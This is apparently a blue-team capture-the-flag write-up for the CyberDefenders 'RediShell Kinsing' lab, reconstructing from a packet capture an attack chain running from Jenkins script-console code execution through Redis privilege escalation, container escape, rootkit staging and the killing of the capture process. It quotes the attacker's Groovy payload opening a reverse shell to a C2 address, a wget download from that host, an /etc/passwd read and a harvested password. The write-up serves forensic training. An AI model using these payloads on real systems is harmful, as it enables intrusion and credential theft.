RediShell Kinsing

Scenario

Security monitoring detected unusual outbound connections from Wowza’s container subnet to a suspicious external IP. A packet capture was initiated automatically but terminated when the attacker discovered and killed the monitoring process. The task is to analyze the captured traffic to understand how the attacker gained initial access and moved laterally through the containerized environment.

Analysis Tools

• Wireshark
• Filter: http, http && ip.addr == 185.220.101.50, ip.addr == 185.220.101.50 and tcp.port == 4444
• Follow TCP Stream for session reconstruction

Initial Access — Jenkins Exploitation

Filtering for HTTP traffic immediately revealed 172.16.10.10 communicating with the external IP 185.220.101.50. Following the HTTP stream identified the target as a Jenkins 2.387.1 server — the first compromised system.

First compromised system: 172.16.10.10 Attacker C2: 185.220.101.50

Proof of Concept

Before deploying a full reverse shell, the attacker tested code execution via Jenkins’ script console by reading a sensitive file:

Form item: "script" = "println 'cat /etc/passwd'.execute().text"

Vulnerable endpoint: /script PoC file read: /etc/passwd

Reverse Shell

With code execution confirmed, the attacker established a reverse shell back to their C2:

Form item: "script" = "def cmd = ["bash", "-c", "bash -i >& /dev/tcp/185.220.101.50/4444 0>&1"]; cmd.execute()"

Reverse shell port: 4444

Post-Exploitation — Jenkins Container

Filtering for

ip.addr == 185.220.101.50 and tcp.port == 4444

and following the TCP stream reconstructed the attacker’s interactive shell session.

Enumeration

The attacker downloaded and executed the well-known Linux privilege escalation enumeration script:

wget http://185.220.101.50:2345/linpeas.sh

![[redishell_linpeas.png]] Enumeration script: linpeas.sh

Credential Harvesting

After running linpeas, the attacker browsed the Jenkins home directory and located a plaintext credentials file:

cat /var/jenkins_home/credentials.txt
```

**File read:** `/var/jenkins_home/credentials.txt`

The file contained hardcoded lateral movement credentials:
```
TELNET_USER=redis_user
TELNET_PASS=R3d1s_Us3r_P@ss!
TELNET_HOST=172.16.10.20
TELNET_PORT=23

Credentials: redis_user:R3d1s_Us3r_P@ss!

Lateral Movement — Redis Container

Using the harvested credentials, the attacker connected to the second container via Telnet — an unencrypted legacy protocol transmitting all data in cleartext, making it fully visible in the packet capture.

Protocol: Telnet Second compromised system: 172.16.10.20

The Telnet login banner revealed the hostname and service version of the second container:

Hostname and service: redis-db.corp.local running a vulnerable version of Redis `5.0.7

Privilege Escalation — Redis Container

Exploit Upload

The attacker uploaded a custom Lua exploit script targeting a vulnerability in the Redis scripting subsystem:

Uploaded file: exploit.lua

SUID Binary Exploitation

The exploit targeted the SUID binary:

SUID binary: /usr/local/bin/redis-backup

With the exploit executed, the attacker achieved root access inside the Redis container. The first command executed after privilege escalation was observed in the stream. `whoami

CVE: CVE-2025-49844 — Redis Lua subsystem privilege escalation ![[redishell_privesc.png]]

Container Escape

With root inside the container, the attacker executed a container escape script leveraging a cgroups misconfiguration:

Escape script: observed in stream, establishing a new reverse shell to C2 escape.sh

Escape shell port: 5555 CVE: CVE-2022-0492 — Linux kernel cgroups container escape

The attacker confirmed host access by creating a proof-of-compromise file:

Proof file: /tmp/you_have_been_hacked.txt ![[redishell_escape.png]]

Persistence

Upload Server

To facilitate further tool uploads to the compromised host, the attacker installed a Python-based file upload server via pip:

Server installed: uploadserver 5.2.2

bash

pip install uploadserver==5.2.2
```

### Kernel Rootkit

Using the upload server, the attacker transferred the following files for kernel-level rootkit installation, providing persistent and stealthy long-term access:
```
kernel-rootkit.c
Makefile
install-rootkit.sh

These files were also observed earlier in the HTTP logs during the initial Jenkins exploitation phase, indicating the attacker had pre-staged them on their C2.

Anti-Forensics — Killing the Packet Capture

Before concluding their session, the attacker discovered the active packet capture process and terminated it:

bash

kill -9 24918
```

The stream showed the attacker enumerating running processes, identifying the tcpdump PID, and killing it — explaining why the capture ended abruptly.

---

## Attack Chain
```
Attacker (185.220.101.50)
        ↓
Jenkins 2.387.1 /script endpoint — RCE via Groovy script console
        ↓
Reverse shell → port 4444
        ↓
linpeas.sh enumeration
        ↓
cat /var/jenkins_home/credentials.txt → redis_user:R3d1s_Us3r_P@ss!
        ↓
Telnet → 172.16.10.20:23 (redis-db.corp.local)
        ↓
exploit.lua → CVE-2025-49844 → /usr/local/bin/redis-backup SUID → root
        ↓
Container escape → CVE-2022-0492 → reverse shell port 5555
        ↓
Host root → /tmp/you_have_been_hacked.txt
        ↓
pip install uploadserver → kernel-rootkit upload
        ↓
kill -9 24918 (tcpdump terminated)

IOCs

MITRE ATT&CK

I successfully completed RediShell - Kinsing Blue Team Lab at @CyberDefenders! https://cyberdefenders.org/blueteam-ctf-challenges/achievements/inksec/redishell-kinsing/

#CyberDefenders #CyberSecurity #BlueYard #BlueTeam #InfoSec #SOC #SOCAnalyst #DFIR #CCD #CyberDefender